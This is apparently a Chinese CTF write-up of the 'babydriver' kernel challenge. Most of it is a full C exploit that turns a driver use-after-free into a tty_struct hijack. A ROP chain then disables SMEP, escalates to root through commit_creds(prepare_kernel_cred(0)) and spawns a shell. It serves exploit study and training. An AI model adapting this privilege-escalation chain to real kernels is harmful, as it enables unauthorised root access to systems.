参考的一些文章:
http://www.freebuf.com/articles/system/135402.html
http://bobao.360.cn/ctf/learning/205.html
这次就用国赛的这道babydriver来作为kernel pwn的第一道题吧。
首先是kernel pwn要做的事情,就是在内核空间劫持控制流完成commit_creds(prepare_kernel_cred(0))这一个调用,然后再平稳的返回用户空间开一个shell。比起一般的pwn来说,kernel pwn需要完成的操作更多,中间的坑也会很多(
这个驱动本身比较简单,漏洞也比较明显,每次开启这个驱动的时候使用的空间都是一样的,所以如果同时开启两个,再关闭一个的话,就会造成一个uaf。
这里也是阅读了wp之后才知道这个uaf的利用方法,具体的东西wp也写的很清楚了,也不再废话。
其实这道题可以不关闭smep,直接利用rop完成commit_creds(prepare_kernel_cred(0)),但是传参有点坑,prepare_kernel_cred(0)的返回值在rax中,而commit_creds的参数需要放在rdi中,相比起来还是利用rop关闭smep比较方便。
之后又学习了一下kernel的rop姿势,其实本身没有多少坑点,但是拿gdb调的时候和实际跑的情况不一样就让我很绝望。需要注意的是iretq返回用户空间的时候栈的大小一定要够,最后在这个地方迷茫了很久很久(orz
exp:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define COMMAND 0x10001
#define MAX_FD_NUM 16
#define TTY_STRUCT_MAGIC 0x0000000100005401
#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420
/*
ffffffff810a1810 T prepare_kernel_cred
ffffffff810a1420 T commit_creds
ffffffffc0000000 t babyrelease [babydriver]
ffffffffc00024d0 b babydev_struct [babydriver]
ffffffffc0000030 t babyopen [babydriver]
ffffffffc0000080 t babyioctl [babydriver]
ffffffffc00000f0 t babywrite [babydriver]
ffffffffc0000130 t babyread [babydriver]
ffffffffc0002440 b babydev_no [babydriver]
ffffffffc0002460 b cdev [babydriver]
ffffffffc0002440 b __key.30361 [babydriver]
ffffffffc0002448 b babydev_class [babydriver]
ffffffffc0000170 t babydriver_exit [babydriver]
ffffffffc0002000 d fops [babydriver]
ffffffffc0002100 d __this_module [babydriver]
ffffffffc0000170 t cleanup_module [babydriver]
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};
*/
char buffer[2048]={0};
int fds[MAX_FD_NUM]={0};
void *iretq_addr = 0xFFFFFFFF8181A797;
void *write_cr4 = 0xFFFFFFFF810635B4; //mov cr4, rdi ;pop rbp ;retn
void *mov_rsp_addr = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
void *pop_rax_rbp_addr = 0xFFFFFFFF810635F5; // pop rax; pop rbp ; ret
void *pop_rdi_rbx = 0xFFFFFFFF810769D7; // pop rdi ; pop rbx ; ret
void *swapgs_pop_rbp_addr = 0xFFFFFFFF81063694; //swapgs ; pop rbp ; ret
size_t fake_tty_struct[4]={0};
void* fake_tty_oper[30];
void* padding[1024]={0};
unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void get_shell()
{
system("/bin/sh");
}
void set_uid()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main()
{
void* rop[32]={0};
save_state();
int i;
for(i=0;i<30;i++)
{
fake_tty_oper[i]=mov_rsp_addr;
}
fake_tty_oper[0] = pop_rax_rbp_addr;
fake_tty_oper[1] = &rop;
fake_tty_oper[2] = &rop[32];
fake_tty_oper[3] = mov_rsp_addr; // first step rop
rop[0] = pop_rdi_rbx;
rop[1] = 0x6f0;
rop[2] = 0;
rop[3] = write_cr4; // disable smep
rop[4] = &buffer+1024;
rop[5] = &set_uid;
rop[6] = swapgs_pop_rbp_addr;
rop[7] = 0xdeadbeef;
rop[8] = iretq_addr;
rop[9] = &get_shell;
rop[10] = user_cs; /* saved CS */
rop[11] = user_rflags; /* saved EFLAGS */
rop[12] = &rop-0x100; /* stack */
rop[13] = user_ss;
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
ioctl(fd1,COMMAND,0x2e0);
ioctl(fd2,COMMAND,0x2e0);
close(fd1);
//printf("read done");
for(i=0;i<MAX_FD_NUM;i++)
{
fds[i]=open("/dev/ptmx",O_RDWR|O_NOCTTY);
}
read(fd2,fake_tty_struct,8*4); // test
fake_tty_struct[0] = TTY_STRUCT_MAGIC;
//fake_tty_struct[2] = 0xdeadbeefdeadbeef;
fake_tty_struct[3] = &fake_tty_oper;
write(fd2,fake_tty_struct,8*4);
for(i=0;i<MAX_FD_NUM;i++)
{
write(fds[i],buffer,8);
}
return 0;
}
截个提权成功的图